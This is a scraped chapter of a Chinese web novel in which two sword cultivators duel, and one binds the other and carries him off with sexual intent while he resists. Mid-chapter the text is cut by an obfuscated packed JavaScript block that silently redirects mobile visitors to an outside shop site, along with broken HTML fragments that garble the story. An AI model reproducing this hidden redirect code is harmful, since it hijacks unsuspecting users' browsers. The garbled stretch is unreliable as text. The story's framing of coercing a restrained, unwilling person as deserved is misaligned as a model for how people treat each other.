文趣网 > 其他小说 > 美人弃子被众人囚于狱中后 > 63. 你也想睡吗?
    谢龄安勾着一抹浅浅的笑意,继续往下,顺着韩寂轩的胸膛,来到了第二个扣子,割开。

    第三个扣子,切断,剑锋已经到了韩寂轩的心口旁侧的位置。

    谢龄安心想这人都这样了,还不动作,再滑下去,他都要把韩寂轩整个衣服都割开了。

    他于是往韩寂轩胸膛左边偏去,剑锋缓缓划到了他的心口处。

    剑尖抵在心上的那一刻,韩寂轩终于忍无可忍,寒光剑一出,就要挑翻谢龄安。

    他要在这处院落,直接把谢龄安给掀翻了按地上揍。

    来得正好,谢龄安顿时精神了,他等了半天,做了一大堆小动作,不就在等这一刻吗。

    谢龄安惊鸿剑一转,已和韩寂轩缠斗了起来,两人都想挑翻对方,谢龄安毫不客气,韩寂轩亦是招招狠厉。

    两人打得难解难分,但还是顾及着这是韩停绪的院落,有很多百年千年的梧桐灵树,两人打斗间都避开了那些梧桐。

    开什么玩笑,他们只是想互殴对方,可不想毁了千年梧桐被韩停绪罚跪。

    要罚跪,也是面前这人罚跪。

    韩寂轩想是谢龄安今日挑衅在先,他衣领到胸膛处的几个扣子全断,全是这人挑衅的证据,料想家主不会是非不明。

    谢龄安想是韩寂轩今日出剑在先,他不过略略动作,这人就按捺不住中了招出了剑,他一定和师尊那边往死里告。

    打斗中还是韩寂轩占了上风,但谢龄安虽然被压制着却没被他寻出任何破绽。

    韩寂轩想要掀翻了谢龄安按在地上揍,谢龄安却难缠得很,和水一样划手而过,几次堪堪在被他抓住的边缘。

    两人掀不翻对方,剑气掀翻了一堆梧桐叶。

    两人从前院打到中庭,再打到后院,后院的梧桐树更多了,满满当当都是。

    谢龄安打着打着,看着满院的梧桐,坏主意一转,计上心头。

    谢龄安背对着一棵小一点的梧桐树,一剑劈向韩寂轩,韩寂轩回挡,剑身一错,直接向他刺来。

    谢龄安那一瞬的身姿柔韧到不可思议,他向后仰倒,想借韩寂轩之剑毁了这棵几十年的梧桐树。

    这棵年份最浅,年份大的他都不敢动。

    他要师尊狠狠地罚跪这人,跪多久?最好跪个梧桐树的几十年的年数,跪到地老天荒去。

    但韩寂轩是什么人,他一见谢龄安波光潋滟的眸子一弯就知道这人又在打什么坏主意。

    韩寂轩早有准备,谢龄安敢设局弄他,他就弄死谢龄安。

    韩寂轩那一剑根本没捅实,剑身一转就直接往下压去,谢龄安被逼得一边后仰一边向后劈下腿。

    直接实打实地来了个后劈叉,然后就地一滚,在漫天满地梧桐叶中,躲开韩寂轩的凌厉杀招。

    转瞬,谢龄安被韩寂轩逼到一处千年梧桐前。

    谢龄安咬牙,这韩寂轩看着没什么脑子有勇无谋的居然这么难对付,竟和满肚子坏水的卫琅也不遑多让。

    卫琅和他对打还会让着他一点,怕真的弄伤他,韩寂轩招招狠厉,没有半分情面。

    不过他俩确实也没什么情面可言。

    谢龄安袖中白绫一现,就要去缠住韩寂轩,他要把他捆成个粽子,吊在梧桐树上抽。

    却见韩寂轩的冰锁更快,冰灵凝结成锁链,朝谢龄安的腰身袭来。

    而他的寒光剑也同时刺向谢龄安,那一刻,谢龄安只能回剑格挡。

    谢龄安不敢退太多,背后是一棵千年梧桐树,他怕真给搞毁了,到时候不止被师尊流配边疆,怕是要直接扫地出门。

    师尊好不容易对他有几分好颜色,他还不敢太造次。

    寒光剑的凌厉剑锋被挡下,而谢龄安的腰身也被冰灵锁链缠住,然后蔓延到双手。

    谢龄安回身一脚蹬向韩寂轩,脚踝却被韩寂轩紧紧握住。

    韩寂轩握着他的脚踝,把他压在那棵千年梧桐树上。

    谢龄安的身姿真是柔韧得很,这样的姿势,脚几乎都被韩寂轩按在了快到肩膀的位置。

    就这样他也只是一点点疼,还能挣动,想要踢开韩寂轩。

    韩寂轩用冰灵锁链把他两个脚踝也锁上了,直接牢牢捆在了梧桐树上。

    谢龄安恨得要死,命令道:“解开!”

    “再来。”这次不算,再打一次,他非把韩寂轩打得满地找牙不可。

    韩寂轩只是神色沉沉地看着他,目光晦暗不明。

    谢龄安被他锁死在梧桐树上,不会再反抗他,他对他做什么都可以。

    谢龄安刚刚敢这般弄他,他无论对他做什么,都是这人应得的。

    两个人刚刚激烈打斗了很久,俱是还在喘着气。

    韩寂轩压着他,俯身抵了上来,男人沉重又急促的呼吸就在拂眼前,谢龄安侧着脸避开了一点,他轻喘着,“你敢。”

    韩寂轩捏着他的脸,低声道:“你不都告状了?那罪名我左右也得坐实了。”

    这小心眼的男人!

    谢龄安气得半死,又恨又气,在韩寂轩真正俯身上来对他要做什么之前,天水灵根的灵力运转到极致。

    灵力如水流般一点点冲散冲松了束缚住他的冰灵锁链。

    挣开的那一瞬,谢龄安隔空召起了地上的惊鸿剑,一剑狠狠捅向韩寂轩。

    再战!他们今天就在这里决战到天亮。

    惊鸿剑和寒光剑一错,他俩又打了起来。

    此刻韩寂轩早就把顾映月说的什么“和人好好说”、“态度好一点”、“不能吵架更不能打架”、“不能惹人被惹了也不能还手”统统抛掷脑后。

    正人君子他是不当了,君子千金一诺他也不想守了,他要弄死谢龄安,此刻,现在,就在这里。

    后院梧桐树落叶纷飞,遮天蔽日的梧桐树之下,这两人打得也天翻地覆,日月无光。

    谢龄安凌在半空中,广袖一展,白绫再起,直直冲向韩寂轩,缠住他的手臂。

    韩寂轩丝毫不惧,反手一扯,竟然将谢龄安顺着白绫直接从半空中拖了下来。

    韩寂轩一把收拢白绫,将谢龄安扯到自己身前。

    然后韩寂轩悬空一跃,白绫一转绕身两周,把谢龄安捆了个严严实实。

    韩寂轩的手臂上还缠着白绫的另一端,此刻被谢龄安极力挣动着,也是没空去解。

    他直接就着这个姿势,将谢龄安压倒在满地的梧桐叶里。

    梧桐叶在这人的身下绽放,弄得这人满身、满头发都是,凌乱不堪。

    韩寂轩喘着气,将谢龄安死死按着,冰凌捆仙锁一凝,连着白绫又缠了两道上去。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17612903|206019||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>直接把人捆成了粽子。

    谢龄安真是欲哭无泪,韩寂轩缠他的这个姿势,就是他想缠韩寂轩的姿势,怎么会这样。

    谢龄安不信邪,“再来!”

    他想起身再来一局翻盘,韩寂轩已经紧紧捏着他的脸,喘息着俯了下来。

    谢龄安在那一刻极力侧过脸,他之前在假山那次被韩寂轩咬了一次肩膀,此刻又怕韩寂轩又要咬他哪里。

    谢龄安吓得要死,边躲边轻喘着道:“你别弄!解开,我们再打一次。”

    韩寂轩目光沉沉,近在咫尺望着他,低声道:“三局两胜,是你输了。”

    韩寂轩直接一把将他整个人抱了起来,谢龄安以为他要把自己吊在树上抽了——如果韩寂轩被他捆成粽子,他是打算这么干的。

    谢龄安心里说到底还是有点害怕被人抽,他挣扎着,韩寂轩抱着人走了几步,差点被他挣出去。

    这人被捆成这样了,还像个案板上的鱼一样能扑腾。

    韩寂轩早就到了忍耐的极限,他也不想再忍了,这是他的战利品,他想对他怎样就怎样。

    韩寂轩直接把人翻了一个身,变成了扛着的姿势。

    谢龄安头朝下的被他扛着,柔软的肚子顶在这人坚硬的肩上,被走动的颠簸晃动得头晕眼花。

    “你放我下来——”

    韩寂轩怎么可能理他,就着这个姿势,扛着人出了韩停绪的府邸院落,往自己家里的府邸走去。

    谢龄安被他坚硬的肩膀顶了一路,直接顶得他想吐,话都说不出来了。

    他心想顶吐了最好,最好吐这人一身,看他还敢不敢这样扛着他。

    但谢龄安又吐不出来,所以只能是想吐,然后说不出话。

    韩寂轩走得很快,很快就到了家里。

    顾映月在正殿的窗边,远远瞧着韩寂轩扛着一个人进来,吓得是花容失色。

    韩寂轩没有进正殿,也没和顾映月打招呼,转身往自己的院落去了。

    母亲让他把人带回来,他完成任务。

    别管是用什么方式,反正是带回来了。

    母亲让他做的事他做到了,他也想做点自己想做的事——比如把这人狠狠收拾一通。

    韩寂轩进了屋子,直接反身将门踹上,再落下禁制落锁,然后将扛着的谢龄安扔到了自己床上。

    谢龄安被他重重扔在床上,饶是有床榻软被垫着,也摔得几乎弹了一下。

    韩寂轩直接覆了上来,按着这个还会弹动的鱼,抽掉了谢龄安的发带。

    谢龄安疼得泪眼汪汪,心想这一个两个都和他发带有仇一般,动不动扯他发带,抽他发带。

    他被韩寂轩紧紧压着,手脚又都被捆着,动弹不得,就用额角去撞韩寂轩的下颌。

    韩寂轩下颌坚硬,线条利落,反而撞得他额角都红成一片。

    韩寂轩也是被人气笑了,他捏着谢龄安的脸不让他乱动,俯身低语:

    “你那天晚上和卫琅做了什么。”

    “今晚也同我做一遍。”

    谢龄安也是被他气笑了,卫琅想和他上床,怎么,你也想上吗。什么玩意。

    谢龄安这个人心直口快,最近也不怎么想要脸,他直接怎么想的怎么问:

    “卫琅想睡我,怎么,你也想睡吗?”